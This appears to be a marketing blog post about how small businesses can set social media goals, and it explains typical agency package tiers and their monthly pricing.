There is a saying “Know what you want to achieve and work backwards”. The same can be said about social media marketing. You want to be clear on the objectives you are wanting to achieve.

A small sampling of your objectives might be:

  • Position your brand as the go to authority – Demonstrating your authority in a particular space helps to build brand awareness and positions your company (and you) as an expert.
  • Generate traffic to your website – Having a large social media presence is great, but useless if it isn’t driving people to where you make sales…your website! This requires a deliberate approach, including relevant content and appropriate timing. And if you aren’t posting regular blog posts to your site, consider outsourcing this.
  • Increase subscribers to your email list – Maintaining a meaningful relationship with prospects is critical to the know/like/trust aspect of marketing. To get their attention initially, you must create persistent, attention getting calls to action. Then once you have them, nothing is more critical than turning those leads into full-fledged customers. To be clear, doing that is going to require more than just social media to get the job done!)

Once you understand what it is you want to achieve, you can begin to formulate a social media program. Then determine which social media platform(s) your ideal customer is likely to be and put together a social media calendar. Keep in mind your ideal customer may not be hanging out in the places you may be typically thinking, so take the time to do some research to insure you are working the appropriate platforms.

What kind of social media packages are available for your business?

If you decide this is more than you want to take on, most social media management agencies will offer multiple packages for you to choose from. They can range from posting content on a single platform to something more robust that is going to encompass multiple social networks. By understanding the objectives for your business (see above), you can determine exactly what you need to spend.

For most small businesses or start-ups, a package containing one post a day of relevant content is the minimum needed.

And if you are just starting out, begin with just one network to maintain. Get a better understanding of your ideal customer and their needs before expanding to additional social media platforms. Save yourself a bunch of money and do well there first!

What sort of social media management packages are there and why the price difference?

Package deliverables and pricing is dependent really on how much work you are asking the agency to perform on your behalf.

To be sure, there is no one size fits all approach to social media management. What you can expect to see most often are package levels (typically in ascending costs) that include:

  • Content only – Posting a certain number a times either per day/week or month
  • Interacting relationship on your behalf – This is replying, communicating, updating posts for you on a daily, weekly, or monthly basis
  • Direct/Indirect Outreach – this may be to attract media exposure, gain new followers, reaching out to potential partners/cross-sellers, etc
  • Objective strategy – this may involve a campaign of some sort where reporting is communicated regularly in order to adjust/optimize results

Pricing can be as low as $50 @ month for generic posts (Social Media Dudes doesn’t advocate buying this service at this price because they feel the results are “generic” as well). Take these for what they are, automated programs that produce posts according to topics you choose. They are neither company nor brand specific. While you will have a social media presence, you should not expect relationships or building a community with these types of posts.

The next step up is in the $100 – $200 @ month range where you will have daily posts that are designed to be specific to you/your company/service. They are branded posts typically once a day to one social network platform. These will do the heavy lifting and you can add your own engagement if you want to begin building community. This is a range that can accommodate many small or start-up businesses.

In the $201-$500 @ month category, you are going to get a hybrid of the $100-$200 offerings. It will includes more posts spread across multiple platforms and will also provide a level of metrics for your efforts. There is likely to be a level of engagement involved from the agency handling these tasks for you. It will definite increase you visibility and provoke (or should) more engagement from your community.

Prices definitely go up from here and can go to the tens of thousands of dollars a month. Typically, there are campaigns around these that are designed to drive traffic, deepen relationships and include sales conversions. The reason that there is a wide variance is dependent on the number of social networks you want to have a presence on (don’t spread yourself too thin), the velocity that you want to increase your presence and the ability to make tweaks to optimize the results. These campaigns will definitely strengthen your brand and broaden the awareness around it. This is where it can become tricky because sometimes the ROI (Return On Investment) isn’t always directly attributable to the efforts made on your behalf social media wise.

Your takeway…

The management of your social media for your company/brand is not something you should take lightly or do based on price alone. Make sure that the people you are dealing with understand your business and what your objectives are before embarking on having a presence. The returns are a “cumulative effort” in that one post or tweet is not something you are going to be able to point to and indicate that is where the business came from. Probably like pounding on a rock, it is the last strike that cracks it, but all of the other strikes were necessary in order for that to happen. And if you don’t feel comfortable with the people doing the work on your behalf, trust your gut. Don’t let a low price have you make a bad decision that you are going to regret. When done well, social media can be a game changer for your business. Finally, just because you may not use or believe in social media, your customers feel otherwise. It is a tool that every business needs in their tool box.

 

 

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